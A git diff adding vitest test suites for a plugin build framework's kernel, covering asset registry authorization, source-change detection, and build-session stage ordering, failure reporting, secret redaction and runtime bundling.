refs', async () => { + /** 当前测试独占的 Registry 集合。 */ + const fixture = await registries(); + /** 当前 owner 的来源目录 ref。 */ + const root = await fixture.sources.issueRoot('framework:canonical', fixture.sourceRoot); + /** 当前 owner 的来源服务。 */ + const sources = fixture.sources.service('framework:canonical'); + /** 精确来源文件 ref。 */ + const source = await sources.file(root, 'source.txt'); + /** 来源 owner 的 Asset Service。 */ + const service = fixture.assets.service('framework:canonical'); + /** 从 SourceFileRef 签发的来源 Asset。 */ + const asset = await service.fromSource(source); + /** 等形复制不在 WeakMap 中。 */ + const forged = Object.freeze({ ...asset }) as AssetRef; + + await expect(fixture.assets.service('platform:claude-code').read(asset)).rejects.toThrow('not authorized'); + await expect(service.read(forged)).rejects.toThrow('not authorized'); + fixture.assets.grant('framework:canonical', 'platform:claude-code', asset); + await expect(fixture.assets.service('platform:claude-code').read(asset)).resolves.toEqual(expect.any(Uint8Array)); + expect(() => fixture.assets.grant('platform:claude-code', 'extension:other', asset)).toThrow('Only the Asset owner'); + + /** 另一 BuildSession 的 Registry 即使收到原始对象也无记录。 */ + const otherScope = new BuildSessionScope(); + /** 另一 Session 的 Source Registry。 */ + const otherSources = new SourceRegistry(otherScope, fixture.root); + /** 另一 Session 的 WorkDir Registry。 */ + const otherWork = new WorkDirectoryRegistry(otherScope, path.join(fixture.root, '.work-other')); + /** 另一 Session 的 Asset Registry。 */ + const otherAssets = new AssetRegistry(otherScope, otherSources, otherWork); + await expect(otherAssets.service('framework:canonical').read(asset)).rejects.toThrow('not authorized'); + + fixture.scope.close(); + await expect(service.read(asset)).rejects.toThrow('no longer active'); + }); + + it('detects SourceAsset mutation before read and materialization', async () => { + /** 当前测试独占的 Registry 集合。 */ + const fixture = await registries(); + /** 当前 owner 的来源目录 ref。 */ + const root = await fixture.sources.issueRoot('framework:public', fixture.sourceRoot); + /** 当前 owner 的精确来源文件 ref。 */ + const source = await fixture.sources.service('framework:public').file(root, 'source.txt'); + /** 当前 owner 的 SourceAsset。 */ + const asset = await fixture.assets.service('framework:public').fromSource(source); + await fs.writeFile(path.join(fixture.sourceRoot, 'source.txt'), 'changed bytes\n'); + + await expect(fixture.assets.service('framework:public').read(asset)).rejects.toThrow('changed after'); + await expect(fixture.assets.materializationBytes('framework:public', asset)).rejects.toThrow('changed after'); + }); + + it('rejects source mutation between FileRef and SourceAsset issuance', async () => { + /** 当前测试独占的 Registry 集合。 */ + const fixture = await registries(); + /** 当前 owner 的来源目录 ref。 */ + const root = await fixture.sources.issueRoot('framework:public', fixture.sourceRoot); + /** 修改前签发的精确 SourceFileRef。 */ + const source = await fixture.sources.service('framework:public').file(root, 'source.txt'); + await fs.writeFile(path.join(fixture.sourceRoot, 'source.txt'), 'changed before asset\n'); + + await expect(fixture.assets.service('framework:public').fromSource(source)).rejects.toThrow('changed after'); + }); + + it('issues GeneratedAsset only from the owner workDir and preserves compile origin', async () => { + /** 当前测试独占的 Registry 集合。 */ + const fixture = await registries(); + /** Compiler owner 的私有 workDir 句柄。 */ + const work = await fixture.work.directory('extension:mcp'); + /** 只有 Core Host 能获得的解析后生成路径。 */ + const output = fixture.work.resolve('extension:mcp', work, 'jobs/server/main.mjs'); + await fs.mkdir(path.dirname(output), { recursive: true }); + await fs.writeFile(output, 'export default 1;\n'); + /** Compiler Host 签发的 GeneratedAsset。 */ + const asset = await fixture.assets.issueGenerated('extension:mcp', work, 'jobs/server/main.mjs', 0o755, { + job: 'mcp-server', + output: 'main', + profile: 'portable-node', + kind: 'chunk', + inputs: ['src/mcp/server/server.ts', 'package:@scope/dependency@1.2.3/index.js', 'virtual:mcp-runner'], + }); + /** 公开 metadata 保留稳定编译来源但没有 workDir。 */ + const description = fixture.assets.describe('extension:mcp', asset); + + expect(description.origin).toEqual({ + type: 'compile', + owner: 'extension:mcp', + job: 'mcp-server', + output: 'main', + profile: 'portable-node', + kind: 'chunk', + inputs: ['package:@scope/dependency@1.2.3/index.js', 'src/mcp/server/server.ts', 'virtual:mcp-runner'], + }); + expect(JSON.stringify(description)).not.toContain(fixture.root); + await fs.writeFile(output, 'mutated\n'); + await expect(fixture.assets.materializationBytes('extension:mcp', asset)).rejects.toThrow('changed after'); + }); + + it('rejects invalid modes, origin text, read limits and workDir escapes', async () => { + /** 当前测试独占的 Registry 集合。 */ + const fixture = await registries(); + /** 当前 owner 的闭包 Asset Service。 */ + const service = fixture.assets.service('extension:owned'); + await expect(service.fromBytes({ bytes: 'x', mode: 0o600 as never, origin: { operation: 'valid' } })).rejects.toThrow('0644 or 0755'); + await expect(service.fromBytes({ bytes: 'x', origin: { operation: '/absolute/path' } })).rejects.toThrow('stable lowercase'); + /** 合法 Asset 用于读取上限断言。 */ + const asset = await service.fromBytes({ bytes: 'abc', origin: { operation: 'valid' } }); + await expect(service.read(asset, { maxBytes: 2 })).rejects.toThrow('read limit'); + + /** owner workDir 句柄不能被另一 owner 复用。 */ + const work = await fixture.work.directory('extension:a'); + expect(() => fixture.work.resolve('extension:b', work, 'main.mjs')).toThrow('not authorized'); + expect(() => fixture.work.resolve('extension:a', work, '../escape.mjs')).toThrow(); + }); +}); diff --git a/packages/core/test/build-session.test.ts b/packages/core/test/build-session.test.ts new file mode 100644 index 0000000..7ea1d88 --- /dev/null +++ b/packages/core/test/build-session.test.ts @@ -0,0 +1,888 @@ +import { promises as fs } from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { afterEach, describe, expect, it, vi } from 'vitest'; +import type { BytesAssetRef, SourceAssetRef, SourceFileRef } from '../src/kernel-types.js'; +import { defineExtension, definePlatform } from '../src/kernel-contracts.js'; +import { + createKernelBuildEnvironment, + disposeKernelBuildEnvironment, + runKernelBuildSession, +} from '../src/kernel/build-session.js'; +import { resolveKernelConfig } from '../src/kernel/config-resolver.js'; + +/** 当前套件创建并统一删除的临时工程。 */ +const roots: string[] = []; + +afterEach(async () => { + await Promise.all(roots.splice(0).map(root => fs.rm(root, { recursive: true, force: true }))); +}); + +/** 创建包含 canonical/public/Extension resource 的最小工程。 */ +async function fixture() { + const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-build-session-')); + roots.push(root); + await fs.mkdir(path.join(root, 'src', 'commands'), { recursive: true }); + await fs.mkdir(path.join(root, 'src', 'addons'), { recursive: true }); + await fs.mkdir(path.join(root, 'public'), { recursive: true }); + await fs.writeFile(path.join(root, 'acplugin.config.ts'), 'export default {}\n'); + await fs.writeFile(path.join(root, 'src', 'commands', 'review.md'), [ + '---', + 'description: Review changes.', + '---', + 'Review the current changes.', + '', + ].join('\n')); + await fs.writeFile(path.join(root, 'src', 'addons', 'notice.txt'), 'extension notice\n'); + await fs.writeFile(path.join(root, 'public', 'README.txt'), 'public readme\n'); + return root; +} + +/** Platform 必须对当前 metadata 和 Component 提供完整兼容结论。 */ +function metadata() { + return ['name', 'version', 'description'].map(field => ({ + field, + disposition: 'emitted' as const, + output: `manifest/${field}`, + reason: 'The field is emitted by the conformance package.', + })); +} + +describe('Kernel BuildSession', () => { + it('runs the fixed package pipeline, contributes Resources and closes in reverse setup order', async () => { + const root = await fixture(); + /** 调用序列验证 setup、Resource、Package、candidate 和 cleanup 顺序。 */ + const events: string[] = []; + /** validate hook 对每个 canonical Component 只允许调用一次。 */ + const validated: string[] = []; + const platform = definePlatform({ + id: 'conformance', + apiVersion: '1', + deliveryType: 'plugin', + createSession() { + events.push('setup:platform'); + return { + validateComponent({ component }) { + events.push(`validate:${component.kind}:${component.id}`); + validated.push(`${component.kind}:${component.id}`); + }, + createPackage({ project, assets }) { + events.push('package:create'); + return assets.fromBytes({ bytes: 'base\n', origin: { operation: 'base-package' } }).then(asset => ({ + documents: [], + assets: [{ path: 'base.txt', asset }], + compatibility: project.commands.map(command => ({ + subject: `command:${command.id}`, + capability: 'component', + level: 'native' as const, + reason: 'The command is delivered natively.', + })), + metadata: metadata(), + })); + }, + finalizePackage() { + events.push('package:finalize'); + return { id: 'plugin', type: 'plugin' as const }; + }, + async validatePackage({ candidate }) { + events.push(`package:validate:${candidate.unit.role}`); + await expect(fs.readFile(path.join(candidate.root, 'base.txt'), 'utf8')).resolves.toBe('base\n'); + await expect(fs.readFile(path.join(candidate.root, 'README.txt'), 'utf8')).resolves.toBe('public readme\n'); + await expect(fs.readFile(path.join(candidate.root, 'extension', 'notice.txt'), 'utf8')).resolves.toBe('extension notice\n'); + }, + close({ outcome, committed }) { + events.push(`close:platform:${outcome}:${committed}`); + }, + }; + }, + }); + const extension = defineExtension, { readonly file: SourceFileRef }, { readonly file: SourceFileRef }, { readonly asset: SourceAssetRef }>({ + id: 'conformance-extension', + apiVersion: '1', + options: {}, + resourceRoots: ['addons'], + createSession() { + events.push('setup:extension'); + return { + async discover({ roots, sources }) { + events.push('extension:discover'); + const root = roots.addons; + if (root === undefined) + return undefined; + return { file: await sources.file(root, 'notice.txt') }; + }, + validate(_context, discovered) { + events.push('extension:validate'); + return { state: discovered, subjects: [{ subject: 'addon:notice', capabilities: ['delivery'] }] }; + }, + async build({ assets }, validatedState) { + events.push('extension:build'); + return { state: { asset: await assets.fromSource(validatedState.file) } }; + }, + contributors: [{ + platform: 'conformance', + platformApiVersion: '1', + async contribute({ assets: _assets }, built) { + events.push('extension:contribute'); + return { + assets: [{ path: 'extension/notice.txt', asset: built.asset }], + compatibility: [{ + subject: 'addon:notice', + capability: 'delivery', + level: 'native', + reason: 'The addon is delivered natively.', + }], + }; + }, + }], + close({ outcome, committed }) { + events.push(`close:extension:${outcome}:${committed}`); + }, + }; + }, + }); + const resolved = resolveKernelConfig({ + name: 'conformance-plugin', + version: '1.0.0', + description: 'BuildSession conformance.', + platforms: [platform], + extensions: [extension], + }, { + projectRoot: root, + configFile: path.join(root, 'acplugin.config.ts'), + command: 'build', + mode: 'production', + }); + expect(resolved.diagnostics).toEqual([]); + const result = await runKernelBuildSession({ + config: resolved.config!, + frameworkVersion: 'test', + commit: false, + }); + + expect(result.report.success, JSON.stringify(result.report.diagnostics, null, 2)).toBe(true); + expect(result.report.committed).toBe(false); + expect(validated).toEqual(['command:review']); + expect(result.report.packages).toHaveLength(1); + expect(result.report.packages[0]?.assets.map(asset => [asset.path, asset.owner])).toEqual([ + ['README.txt', 'framework:public'], + ['base.txt', 'platform:conformance'], + ['extension/notice.txt', 'extension:conformance-extension'], + ]); + expect(events).toEqual([ + 'setup:platform', + 'setup:extension', + 'extension:discover', + 'validate:command:review', + 'extension:validate', + 'extension:build', + 'package:create', + 'extension:contribute', + 'package:finalize', + 'package:validate:primary', + 'close:extension:success:false', + 'close:platform:success:false', + ]); + }); + + it('places reverse close in the rollback window and reports cleanup failure without committing', async () => { + const root = await fixture(); + await fs.mkdir(path.join(root, 'dist', 'conformance', 'old'), { recursive: true }); + await fs.writeFile(path.join(root, 'dist', 'conformance', 'old', 'stable.txt'), 'old\n'); + const platform = definePlatform({ + id: 'conformance', apiVersion: '1', deliveryType: 'plugin', + createSession: () => ({ + createPackage: ({ project, assets }) => assets.fromBytes({ bytes: 'new\n', origin: { operation: 'new-package' } }).then(asset => ({ + documents: [], assets: [{ path: 'new.txt', asset }], + compatibility: project.commands.map(command => ({ + subject: `command:${command.id}`, capability: 'component', level: 'native' as const, reason: 'Native command.', + })), + metadata: metadata(), + })), + finalizePackage: () => ({ id: 'plugin', type: 'plugin' as const }), + validatePackage: () => undefined, + close: () => { throw new Error('secret=/private/build-machine'); }, + }), + }); + const resolved = resolveKernelConfig({ + name: 'rollback-plugin', version: '1.0.0', description: 'Rollback.', platforms: [platform], public: false, + }, { + projectRoot: root, configFile: path.join(root, 'acplugin.config.ts'), command: 'build', mode: 'production', + }); + const result = await runKernelBuildSession({ config: resolved.config!, frameworkVersion: 'test', commit: true }); + + expect(result.report.success).toBe(false); + expect(result.report.committed).toBe(false); + expect(result.report.diagnostics).toContainEqual(expect.objectContaining({ code: 'PLATFORM_CLOSE_FAILED', phase: 'cleanup' })); + expect(result.report.diagnostics.map(item => item.message).join('\n')).not.toContain('/private/build-machine'); + await expect(fs.readFile(path.join(root, 'dist', 'conformance', 'old', 'stable.txt'), 'utf8')).resolves.toBe('old\n'); + await expect(fs.access(path.join(root, 'dist', 'conformance', 'plugin', 'new.txt'))).rejects.toThrow(); + }); + + it('continues independent setup and closes every initialized session once in reverse order', async () => { + const root = await fixture(); + /** 部分 setup 失败前后发生的调用必须保持固定配置顺序。 */ + const events: string[] = []; + const healthy = definePlatform({ + id: 'healthy', apiVersion: '1', deliveryType: 'plugin', + createSession: () => { + events.push('setup:healthy'); + return { + createPackage: ({ project }) => ({ + documents: [], assets: [], + compatibility: project.commands.map(command => ({ + subject: `command:${command.id}`, capability: 'component', level: 'native' as const, reason: 'Native command.', + })), + metadata: metadata(), + }), + finalizePackage: () => ({ id: 'plugin', type: 'plugin' as const }), + validatePackage: () => undefined, + close: () => { events.push('close:healthy'); }, + }; + }, + }); + const broken = definePlatform({ + id: 'broken', apiVersion: '1', deliveryType: 'plugin', + createSession: () => { + events.push('setup:broken'); + throw new Error('setup secret'); + }, + }); + const extension = defineExtension({ + id: 'cleanup-probe', apiVersion: '1', resourceRoots: ['addons'], + createSession: () => { + events.push('setup:extension'); + return { + discover: () => undefined, + validate: (_context, state) => ({ state, subjects: [] }), + build: (_context, state) => ({ state }), + contributors: [], + close: () => { events.push('close:extension'); }, + }; + }, + }); + const resolved = resolveKernelConfig({ + name: 'partial-setup', version: '1.0.0', description: 'Partial setup.', + platforms: [healthy, broken], extensions: [extension], public: false, + }, { + projectRoot: root, configFile: path.join(root, 'acplugin.config.ts'), command: 'validate', mode: 'production', + }); + const result = await runKernelBuildSession({ config: resolved.config!, frameworkVersion: 'test', commit: false }); + + expect(result.report.success).toBe(false); + expect(result.report.packages).toContainEqual(expect.objectContaining({ platform: 'healthy', validated: true })); + expect(result.report.diagnostics).toContainEqual(expect.objectContaining({ code: 'PLATFORM_SETUP_FAILED', platform: 'broken' })); + expect(events).toEqual([ + 'setup:healthy', + 'setup:broken', + 'setup:extension', + 'close:extension', + 'close:healthy', + ]); + }); + + it('preserves the primary package failure in close context when cleanup also fails', async () => { + const root = await fixture(); + await fs.rm(path.join(root, 'src', 'addons'), { recursive: true }); + /** close 只能观察脱敏后的首个业务失败,而不能收到原始异常。 */ + let closeFailure: { readonly code: string; readonly phase: string; readonly message: string } | undefined; + const platform = definePlatform({ + id: 'failed-package', apiVersion: '1', deliveryType: 'plugin', + createSession: () => ({ + createPackage: () => { throw new Error('token=package-secret'); }, + finalizePackage: () => ({ id: 'plugin', type: 'plugin' as const }), + validatePackage: () => undefined, + close: (context) => { + closeFailure = context.failure; + throw new Error('token=cleanup-secret'); + }, + }), + }); + const resolved = resolveKernelConfig({ + name: 'failure-precedence', version: '1.0.0', description: 'Failure precedence.', platforms: [platform], public: false, + }, { + projectRoot: root, configFile: path.join(root, 'acplugin.config.ts'), command: 'build', mode: 'production', + }); + const result = await runKernelBuildSession({ config: resolved.config!, frameworkVersion: 'test', commit: false }); + + expect(closeFailure).toEqual({ + code: 'PLATFORM_CREATE_PACKAGE_FAILED', + phase: 'package', + message: 'Platform "failed-package" createPackage failed.', + }); + expect(result.report.diagnostics.map(item => item.code)).toEqual(expect.arrayContaining([ + 'PLATFORM_CREATE_PACKAGE_FAILED', 'PLATFORM_CLOSE_FAILED', + ])); + expect(JSON.stringify(result.report)).not.toContain('package-secret'); + expect(JSON.stringify(result.report)).not.toContain('cleanup-secret'); + }); + + it('keeps successful Platform packages inspectable when another Platform fails concurrently', async () => { + const root = await fixture(); + await fs.rm(path.join(root, 'src', 'addons'), { recursive: true }); + /** 不同延迟组合用于证明完成顺序不影响稳定报告。 */ + const execute = async (healthyDelay: number, brokenDelay: number) => { + const healthy = definePlatform({ + id: 'healthy', apiVersion: '1', deliveryType: 'plugin', + createSession: () => ({ + async createPackage({ project, assets }) { + await new Promise(resolve => setTimeout(resolve, healthyDelay)); + const asset = await assets.fromBytes({ bytes: 'stable\n', origin: { operation: 'stable-package' } }); + return { + documents: [], assets: [{ path: 'stable.txt', asset }], + compatibility: project.commands.map(command => ({ + subject: `command:${command.id}`, capability: 'component', level: 'native' as const, reason: 'Native command.', + })), + metadata: metadata(), + }; + }, + finalizePackage: () => ({ id: 'plugin', type: 'plugin' as const }), + validatePackage: () => undefined, + }), + }); + const broken = definePlatform({ + id: 'broken', apiVersion: '1', deliveryType: 'plugin', + createSession: () => ({ + async createPackage() { + await new Promise(resolve => setTimeout(resolve, brokenDelay)); + throw new Error('nondeterministic raw failure'); + }, + finalizePackage: () => ({ id: 'plugin', type: 'plugin' as const }), + validatePackage: () => undefined, + }), + }); + const resolved = resolveKernelConfig({ + name: 'parallel-platforms', version: '1.0.0', description: 'Parallel Platforms.', + platforms: [healthy, broken], public: false, + }, { + projectRoot: root, configFile: path.join(root, 'acplugin.config.ts'), command: 'inspect', mode: 'production', + }); + return (await runKernelBuildSession({ config: resolved.config!, frameworkVersion: 'test', commit: false })).report; + }; + + const first = await execute(20, 0); + const second = await execute(0, 20); + expect(first).toEqual(second); + expect(first.success).toBe(false); + expect(first.platforms).toContainEqual({ id: 'healthy', selected: true, success: true, packageIds: ['plugin'] }); + expect(first.platforms).toContainEqual({ id: 'broken', selected: true, success: false, packageIds: [] }); + expect(first.packages).toContainEqual(expect.objectContaining({ platform: 'healthy', validated: true })); + expect(first.diagnostics).toContainEqual(expect.objectContaining({ code: 'PLATFORM_CREATE_PACKAGE_FAILED', platform: 'broken' })); + }); + + it.each([ + ['createPackage', 'package', 'PLATFORM_CREATE_PACKAGE_FAILED'], + ['contribute', 'contribute', 'PLATFORM_CONTRIBUTION_FAILED'], + ['finalizePackage', 'finalize', 'PLATFORM_FINALIZE_PACKAGE_FAILED'], + ['createDistributions', 'finalize', 'PLATFORM_FINALIZE_PACKAGE_FAILED'], + ['materialize', 'materialize', 'PACKAGE_CANDIDATE_MATERIALIZATION_FAILED'], + ['validatePackage', 'platform-validate', 'PLATFORM_VALIDATE_PACKAGE_FAILED'], + ] as const)('reports %s failure in its exact stage while another Platform completes', async (failure, phase, code) => { + const root = await fixture(); + /** 只有 Contribution case 需要 addons root,其他 case 删除未认领 Extension 来源。 */ + if (failure !== 'contribute') + await fs.rm(path.join(root, 'src', 'addons'), { recursive: true }); + /** 两个平台共享的有效 base output 让断言只改变目标阶段。 */ + const platform = (id: 'healthy' | 'broken') => definePlatform({ + id, + apiVersion: '1', + deliveryType: 'plugin', + createSession: () => ({ + async createPackage({ project, assets }) { + if (id === 'broken' && failure === 'createPackage') + throw new Error('raw create failure'); + const asset = await assets.fromBytes({ bytes: `${id}\n`, origin: { operation: 'stage-probe' } }); + return { + documents: [], + assets: [{ path: `${id}.txt`, asset }], + compatibility: project.commands.map(command => ({ + subject: `command:${command.id}`, + capability: 'component', + level: 'native' as const, + reason: 'The stage probe delivers the command natively.', + })), + metadata: metadata(), + }; + }, + finalizePackage() { + if (id === 'broken' && failure === 'finalizePackage') + throw new Error('raw finalize failure'); + return { id: 'plugin', type: 'plugin' as const }; + }, + async validatePackage({ candidate }) { + if (id !== 'broken') + return; + if (failure === 'validatePackage') + throw new Error('raw validator failure'); + if (failure === 'materialize') + await fs.writeFile(path.join(candidate.root, 'unexpected.txt'), 'mutation\n'); + }, + createDistributions() { + if (id === 'broken' && failure === 'createDistributions') + throw new Error('raw distribution failure'); + return []; + }, + }), + }); + /** Contribution failure 由真实 Extension Contributor 抛出,不能归到 package。 */ + const extension = failure === 'contribute' + ? defineExtension({ + id: 'stage-probe', + apiVersion: '1', + resourceRoots: ['addons'], + createSession: () => ({ + discover: () => ({}), + validate: (_context, discovered) => ({ state: discovered, subjects: [] }), + build: (_context, validated) => ({ state: validated }), + contributors: [{ + platform: 'broken', + platformApiVersion: '1', + contribute: () => { throw new Error('raw contribution failure'); }, + }], + }), + }) + : undefined; + const resolved = resolveKernelConfig({ + name: 'stage-boundaries', + version: '1.0.0', + description: 'Stage diagnostic boundaries.', + platforms: [platform('healthy'), platform('broken')], + ...(extension === undefined ? {} : { extensions: [extension] }), + public: false, + }, { + projectRoot: root, + configFile: path.join(root, 'acplugin.config.ts'), + command: 'inspect', + mode: 'production', + }); + const result = await runKernelBuildSession({ config: resolved.config!, frameworkVersion: 'test', commit: false }); + + expect(result.report.success).toBe(false); + expect(result.report.platforms).toContainEqual({ id: 'healthy', selected: true, success: true, packageIds: ['plugin'] }); + expect(result.report.platforms).toContainEqual({ id: 'broken', selected: true, success: false, packageIds: [] }); + expect(result.report.packages).toContainEqual(expect.objectContaining({ platform: 'healthy', validated: true })); + expect(result.report.packages.some(unit => unit.platform === 'broken')).toBe(false); + expect(result.report.diagnostics.filter(item => item.platform === 'broken')).toContainEqual(expect.objectContaining({ + code, + phase, + owner: 'platform:broken', + })); + expect(JSON.stringify(result.report)).not.toContain('raw '); + }); + + it('preserves Extension build failure ownership and blocks only matching consumers', async () => { + const root = await fixture(); + /** 当前用例的两个 Extension 不声明 Resource root,移除通用 addons fixture。 */ + await fs.rm(path.join(root, 'src', 'addons'), { recursive: true }); + /** 两个平台的阶段调用用于证明 failed Built State 在 createPackage 前完成路由。 */ + const created: string[] = []; + /** 独立 Platform 使用 relaxed strict 以保留 failed Extension 的显式 unsupported tuple。 */ + const platform = (id: 'supported' | 'independent') => definePlatform({ + id, + apiVersion: '1', + deliveryType: 'plugin', + strict: false, + createSession: () => ({ + createPackage: ({ project }) => { + created.push(id); + return { + documents: [], + assets: [], + compatibility: project.commands.map(command => ({ + subject: `command:${command.id}`, + capability: 'component', + level: 'native' as const, + reason: 'The fixture delivers canonical commands.', + })), + metadata: metadata(), + }; + }, + finalizePackage: () => ({ id: 'plugin', type: 'plugin' as const }), + validatePackage: () => undefined, + }), + }); + /** build throw 是当前失败唯一权威来源;Contributor 只匹配 supported。 */ + const failed = defineExtension({ + id: 'failed-extension', + apiVersion: '1', + resourceRoots: [], + createSession: () => ({ + discover: () => ({}), + validate: (_context, state) => ({ + state, + subjects: [{ subject: 'failed:resource', capabilities: ['delivery'] }], + }), + build: () => { throw new Error('raw failed Extension build'); }, + contributors: [{ + platform: 'supported', + platformApiVersion: '1', + contribute: () => ({ + compatibility: [{ + subject: 'failed:resource', capability: 'delivery', level: 'native', reason: 'Unreachable.', + }], + }), + }], + }), + }); + /** 成功 Extension 只服务 independent,证明独立 build/contribution 继续执行。 */ + const successful = defineExtension, Record, Record, { readonly asset: BytesAssetRef }>({ + id: 'successful-extension', + apiVersion: '1', + resourceRoots: [], + createSession: () => ({ + discover: () => ({}), + validate: (_context, state) => ({ + state, + subjects: [{ subject: 'successful:resource', capabilities: ['delivery'] }], + }), + async build({ assets }) { + return { state: { asset: await assets.fromBytes({ bytes: 'ready\n', origin: { operation: 'successful-extension' } }) } }; + }, + contributors: [{ + platform: 'independent', + platformApiVersion: '1', + contribute: (_context, state) => ({ + assets: [{ path: 'successful.txt', asset: state.asset }], + compatibility: [{ + subject: 'successful:resource', capability: 'delivery', level: 'native', reason: 'Delivered independently.', + }], + }), + }], + }), + }); + const resolved = resolveKernelConfig({ + name: 'extension-failure-ownership', + version: '1.0.0', + description: 'Extension failure ownership fixture.', + platforms: [platform('supported'), platform('independent')], + extensions: [failed, successful], + public: false, + }, { + projectRoot: root, + configFile: path.join(root, 'acplugin.config.ts'), + command: 'inspect', + mode: 'production', + }); + const result = await runKernelBuildSession({ config: resolved.config!, frameworkVersion: 'test', commit: false }); + + expect(result.report.success).toBe(false); + expect(created).toEqual(['independent']); + expect(result.report.platforms).toEqual(expect.arrayContaining([ + { id: 'supported', selected: true, success: false, packageIds: [] }, + { id: 'independent', selected: true, success: true, packageIds: ['plugin'] }, + ])); + expect(result.report.packages).toContainEqual(expect.objectContaining({ platform: 'independent', validated: true })); + expect(result.report.packages.some(unit => unit.platform === 'supported')).toBe(false); + expect(result.report.compatibility).toEqual(expect.arrayContaining([ + expect.objectContaining({ platform: 'independent', subject: 'failed:resource', capability: 'delivery', level: 'unsupported' }), + expect.objectContaining({ platform: 'independent', subject: 'successful:resource', capability: 'delivery', level: 'native' }), + ])); + expect(result.report.diagnostics.filter(diagnostic => diagnostic.code === 'EXTENSION_BUILD_FAILED')).toHaveLength(1); + expect(result.report.diagnostics.some(diagnostic => diagnostic.code === 'PLATFORM_CONTRIBUTION_FAILED')).toBe(false); + expect(JSON.stringify(result.report)).not.toContain('raw failed'); + }); + + it('uses exactly one aggregate or transaction materialization after candidate validation', async () => { + /** 每个执行建立独立环境,以 materializationBytes 次数识别完整物化路径。 */ + const execute = async (command: 'validate' | 'inspect' | 'build', withExtensionError = false) => { + const root = await fixture(); + await fs.rm(path.join(root, 'src', 'addons'), { recursive: true }); + await fs.rm(path.join(root, 'public'), { recursive: true }); + const environment = await createKernelBuildEnvironment(root); + /** 当前 Platform 的唯一 Asset 每次完整物化恰好读取一次。 */ + const reads = vi.spyOn(environment.assets, 'materializationBytes'); + const platform = definePlatform({ + id: 'materialization-probe', apiVersion: '1', deliveryType: 'plugin', + createSession: () => ({ + async createPackage({ project, assets }) { + const asset = await assets.fromBytes({ bytes: 'probe\n', origin: { operation: 'materialization-probe' } }); + return { + documents: [], assets: [{ path: 'probe.txt', asset }], + compatibility: project.commands.map(item => ({ + subject: `command:${item.id}`, capability: 'component', level: 'native' as const, reason: 'Native command.', + })), + metadata: metadata(), + }; + }, + finalizePackage: () => ({ id: 'plugin', type: 'plugin' as const }), + validatePackage: () => undefined, + }), + }); + /** Extension-owned validation error prevents commit without becoming a project-wide package blocker。 */ + const extension = withExtensionError + ? defineExtension({ + id: 'materialization-error', apiVersion: '1', resourceRoots: [], + createSession: () => ({ + discover: () => ({}), + validate(context, state) { + context.diagnostics.report({ code: 'MATERIALIZATION_FIXTURE_ERROR', severity: 'error', message: 'Fixture error.' }); + return { state, subjects: [{ subject: 'fixture:error', capabilities: ['delivery'] }] }; + }, + build: (_context, state) => ({ state }), + contributors: [], + }), + }) + : undefined; + const resolved = resolveKernelConfig({ + name: 'materialization-probe', version: '1.0.0', description: 'Materialization probe.', + platforms: [platform], + ...(extension === undefined ? {} : { extensions: [extension] }), + public: false, + }, { + projectRoot: root, configFile: path.join(root, 'acplugin.config.ts'), command, mode: 'production', + }); + try { + const result = await runKernelBuildSession({ + config: resolved.config!, frameworkVersion: 'test', commit: command === 'build', environment, + }); + return { report: result.report, reads: reads.mock.calls.length }; + } finally { + reads.mockRestore(); + await disposeKernelBuildEnvironment(environment); + } + }; + + /** validate/inspect 使用 candidate + aggregate;clean build 使用 candidate + transaction。 */ + for (const command of ['validate', 'inspect'] as const) { + const result = await execute(command); + expect(result.report.success).toBe(true); + expect(result.reads).toBe(2); + } + const committed = await execute('build'); + expect(committed.report.success).toBe(true); + expect(committed.report.committed).toBe(true); + expect(committed.reads).toBe(2); + /** build error 阻止 transaction,因此仍必须保留 candidate + aggregate 两次读取。 */ + const failed = await execute('build', true); + expect(failed.report.success).toBe(false); + expect(failed.report.committed).toBe(false); + expect(failed.reads).toBe(2); + }); + + it('compiles built-in Runtime once and contributes identical refs to capability-compatible Platforms', async () => { + const root = await fixture(); + await fs.rm(path.join(root, 'src', 'addons'), { recursive: true }); + await fs.mkdir(path.join(root, 'src', 'runtime'), { recursive: true }); + await fs.writeFile(path.join(root, 'src', 'runtime', 'cli.ts'), 'process.stdout.write("runtime-ready\\n");\n'); + /** 两个支持 Platform 必须读取到同一份 Bundle 字节与 executable mode。 */ + const observed: { platform: string; bytes: Uint8Array }[] = []; + const supported = (id: string) => definePlatform({ + id, apiVersion: '1', deliveryType: 'plugin', + capabilities: { nodeRuntime: { target: 'node20', format: 'esm', root: 'plugin' } }, + createSession: () => ({ + createPackage: ({ project }) => ({ + documents: [], assets: [], + compatibility: project.commands.map(command => ({ + subject: `command:${command.id}`, capability: 'component', level: 'native' as const, reason: 'Native command.', + })), + metadata: metadata(), + }), + finalizePackage: () => ({ id: 'plugin', type: 'plugin' as const }), + async validatePackage({ candidate }) { + /** Candidate 物化证明 Runtime 由 Framework Contribution 自动继承。 */ + const runtime = await fs.readFile(path.join(candidate.root, 'runtime', 'cli', 'main.mjs')); + observed.push({ platform: id, bytes: runtime }); + expect(candidate.unit.assets.find(asset => asset.path === 'runtime/cli/main.mjs')).toMatchObject({ + owner: 'framework:node-runtime', + }); + }, + }), + }); + const resolved = resolveKernelConfig({ + name: 'runtime-build', version: '1.0.0', description: 'Runtime build.', + platforms: [supported('alpha'), supported('beta')], public: false, + }, { + projectRoot: root, configFile: path.join(root, 'acplugin.config.ts'), command: 'inspect', mode: 'production', + }); + const result = await runKernelBuildSession({ config: resolved.config!, frameworkVersion: 'test', commit: false }); + + expect(result.report.success, JSON.stringify(result.report.diagnostics, null, 2)).toBe(true); + expect(result.report.runtimes).toEqual([{ + id: 'cli', kind: 'executable', location: { path: 'src/runtime/cli.ts' }, built: true, + }]); + expect(result.watch.paths).toContain(await fs.realpath(path.join(root, 'src', 'runtime', 'cli.ts'))); + expect(result.report.compatibility.filter(entry => entry.subject === 'runtime:cli')).toEqual([ + { + platform: 'alpha', subject: 'runtime:cli', capability: 'node20-esm', level: 'native', + reason: 'The platform can install and execute the bundled Node.js runtime.', + }, + { + platform: 'beta', subject: 'runtime:cli', capability: 'node20-esm', level: 'native', + reason: 'The platform can install and execute the bundled Node.js runtime.', + }, + ]); + expect(observed).toHaveLength(2); + expect(observed[0]!.bytes).toEqual(observed[1]!.bytes); + const runtimeAssets = result.report.packages.flatMap(unit => unit.assets.filter(asset => asset.path === 'runtime/cli/main.mjs')); + expect(runtimeAssets).toHaveLength(2); + expect(runtimeAssets.map(asset => [asset.mode, asset.sha256, asset.origin])).toEqual([ + [0o755, runtimeAssets[0]!.sha256, runtimeAssets[0]!.origin], + 